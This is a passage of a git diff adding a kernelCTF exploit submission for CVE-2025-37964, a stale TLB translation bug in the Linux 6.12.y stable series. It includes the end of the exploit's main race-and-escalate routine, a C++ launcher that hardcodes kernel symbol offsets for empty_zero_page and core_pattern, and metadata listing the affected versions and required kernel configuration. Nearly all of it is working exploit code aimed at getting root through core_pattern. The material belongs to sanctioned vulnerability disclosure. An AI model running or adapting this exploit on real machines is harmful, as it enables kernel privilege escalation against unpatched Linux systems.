1); + if (!calibrate_madvise(&reason)) + finish("preflight-failed", reason, errno, 1); + if (!prefault_postwin_state()) + finish("preflight-failed", "prefault-or-recognizer-selftest", errno, 1); + if (!setup_reader(&reason)) + finish("preflight-failed", reason, errno, 1); + dprintf(STDERR_FILENO, + "secretmem-kctf: kernel=%s stage=%s expect=%s mode=%s " + "p50=%" PRIu64 " p95=%" PRIu64 " delay=%" PRIu64 "..%" PRIu64 + " wake_advance=%" PRIu64 " effective=%" PRId64 "..%" PRId64 + " spray=%u timeout=%us attempts=%" PRIu64 "\n", + kernel_release, stage_name(opt.stage), expect_name(opt.expect), + opt.mode == MODE_PHASE ? "phase" : + (opt.mode == MODE_DIRECT ? "direct" : + (opt.mode == MODE_FREE ? "free" : "auto")), + record_.p50_cycles, record_.p95_cycles, opt.delay_min, + opt.delay_max, opt.wake_advance, + (int64_t)opt.delay_min - (int64_t)opt.wake_advance, + (int64_t)opt.delay_max - (int64_t)opt.wake_advance, + opt.spray_regions, opt.seconds, opt.max_attempts); + race_result = run_race(&reason); + saved_errno = errno; + if (race_result < 0) { + uint64_t fatal = atomic_load_explicit(&ctl->fatal_code, + memory_order_acquire); + + if (fatal != 0) + saved_errno = (int)(uint32_t)fatal; + finish("runtime-error", reason, saved_errno, 1); + } + if (race_result > 0) { + if (opt.expect == EXPECT_FIXED) + finish("false-positive", "stale-oracle-fired-on-fixed-side", 0, 3); + if (opt.stage == STAGE_STALE) + finish("stale-win", "post-zap-load-with-pagemap-absent", 0, 0); + postwin_result = run_postwin(&reason); + saved_errno = errno; + if (postwin_result < 0) + finish("postwin-error", reason, saved_errno, 1); + if (postwin_result == 0) + finish("no-pte", reason, saved_errno, 2); + if (opt.stage == STAGE_PTE_PROOF) + finish("pte-proof", "self-owned-canary-pte-alias-verified", 0, 0); + finish("flag", "root-helper-printed-delimited-flag", 0, 0); + } + stop_workers_cleanly(); + if (opt.expect == EXPECT_FIXED) + finish("fixed-clean", "bounded-run-no-stale", 0, 0); + finish("no-stale", "bounded-run-exhausted", 0, 2); +} diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/target_db.kxdb b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/target_db.kxdb new file mode 100644 index 000000000..b47d2547a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/target_db.kxdb differ diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/xdk_main.cc b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/xdk_main.cc new file mode 100644 index 000000000..02855c5c6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/xdk_main.cc @@ -0,0 +1,76 @@ +#include +#include +#include +#include +#include + +#include + +INCBIN(target_db, "target_db.kxdb"); + +extern "C" int exploit_main(int argc, char **argv); +extern "C" bool configure_kernel_symbols(uint64_t empty_zero_page, + uint64_t core_pattern); + +namespace { + +constexpr uint64_t kLinkText = 0xffffffff81000000ULL; +constexpr uint64_t kEmptyZeroPageOffset = 0x04651000ULL; +constexpr uint64_t kCorePatternOffset = 0x036117a0ULL; +constexpr char kTargetVersion[] = + "Linux version 6.12.96 (runner@runnervm3jd5f) " + "(gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, " + "GNU ld (GNU Binutils for Ubuntu) 2.42) " + "#1 SMP Wed Jul 22 12:52:40 UTC 2026"; + +bool IsVulnerabilityVerifier(int argc, char **argv) { + return argc == 2 && std::strcmp(argv[1], "--vuln-trigger") == 0; +} + +bool IsCorePatternReentry(int argc, char **argv) { + // exploit_main() performs the authoritative euid and pidfd checks. + return argc == 2 && std::strcmp(argv[1], "3") == 0; +} + +} // namespace + +int main(int argc, char **argv) { + // The verifier builds temporary KASAN kernels that are not in the target DB. + // Its trigger mode does not use target kernel-data symbol addresses. + if (IsVulnerabilityVerifier(argc, argv) || + IsCorePatternReentry(argc, argv)) { + return exploit_main(argc, argv); + } + + try { + std::vector db_data(&target_db[0], + &target_db[target_db_size]); + TargetDb database(db_data); + + // The public database predates this short-lived LTS target. Register the + // two symbols consumed by this exploit as recommended by kernelXDK. + Target target_definition("kernelctf", "lts-6.12.96", kTargetVersion); + target_definition.AddSymbol("empty_zero_page", kEmptyZeroPageOffset); + target_definition.AddSymbol("core_pattern", kCorePatternOffset); + database.AddTarget(target_definition); + + auto target = database.AutoDetectTarget(); + const uint64_t empty_zero_page = + kLinkText + target.GetSymbolOffset("empty_zero_page"); + const uint64_t core_pattern = + kLinkText + target.GetSymbolOffset("core_pattern"); + + if (!configure_kernel_symbols(empty_zero_page, core_pattern)) { + std::fprintf(stderr, "kernelXDK returned inconsistent symbol offsets\n"); + return 1; + } + std::fprintf(stderr, "kernelXDK target: %s %s\n", + target.GetDistro().c_str(), target.GetReleaseName().c_str()); + } catch (const std::exception &error) { + std::fprintf(stderr, "kernelXDK target detection failed: %s\n", + error.what()); + return 1; + } + + return exploit_main(argc, argv); +} diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/metadata.json b/pocs/linux/kernelctf/CVE-2025-37964_lts/metadata.json new file mode 100644 index 000000000..8b4f3ddec --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37964_lts/metadata.json @@ -0,0 +1,35 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp659" + ], + "vulnerability": { + "summary": "Incorrect ordering in the 6.12.y backport of an x86 TLB-shootdown fix can leave a stale writable translation", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=0650f1c8b6b02b3edd489848fb9daa325eccf42c", + "cve": "CVE-2025-37964", + "affected_versions": [ + "6.12.16 - 6.12.96" + ], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": [ + "CONFIG_COREDUMP", + "CONFIG_FUTEX", + "CONFIG_MEMFD_CREATE", + "CONFIG_PROC_PAGE_MONITOR", + "CONFIG_X86_64", + "CONFIG_SMP", + "CONFIG_SECRETMEM" + ] + } + }, + "exploits": { + "lts-6.12.96": { + "environment": "lts-6.12.96", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "No reliability percentage or bonus is claimed. The public submission record confirms one flag capture for the immutable archive; the repository reproduction campaign is authoritative." + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2025-37964_lts/original.tar.gz new file mode 100644 index 000000000..94a87454f Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37964_lts/original.tar.gz differ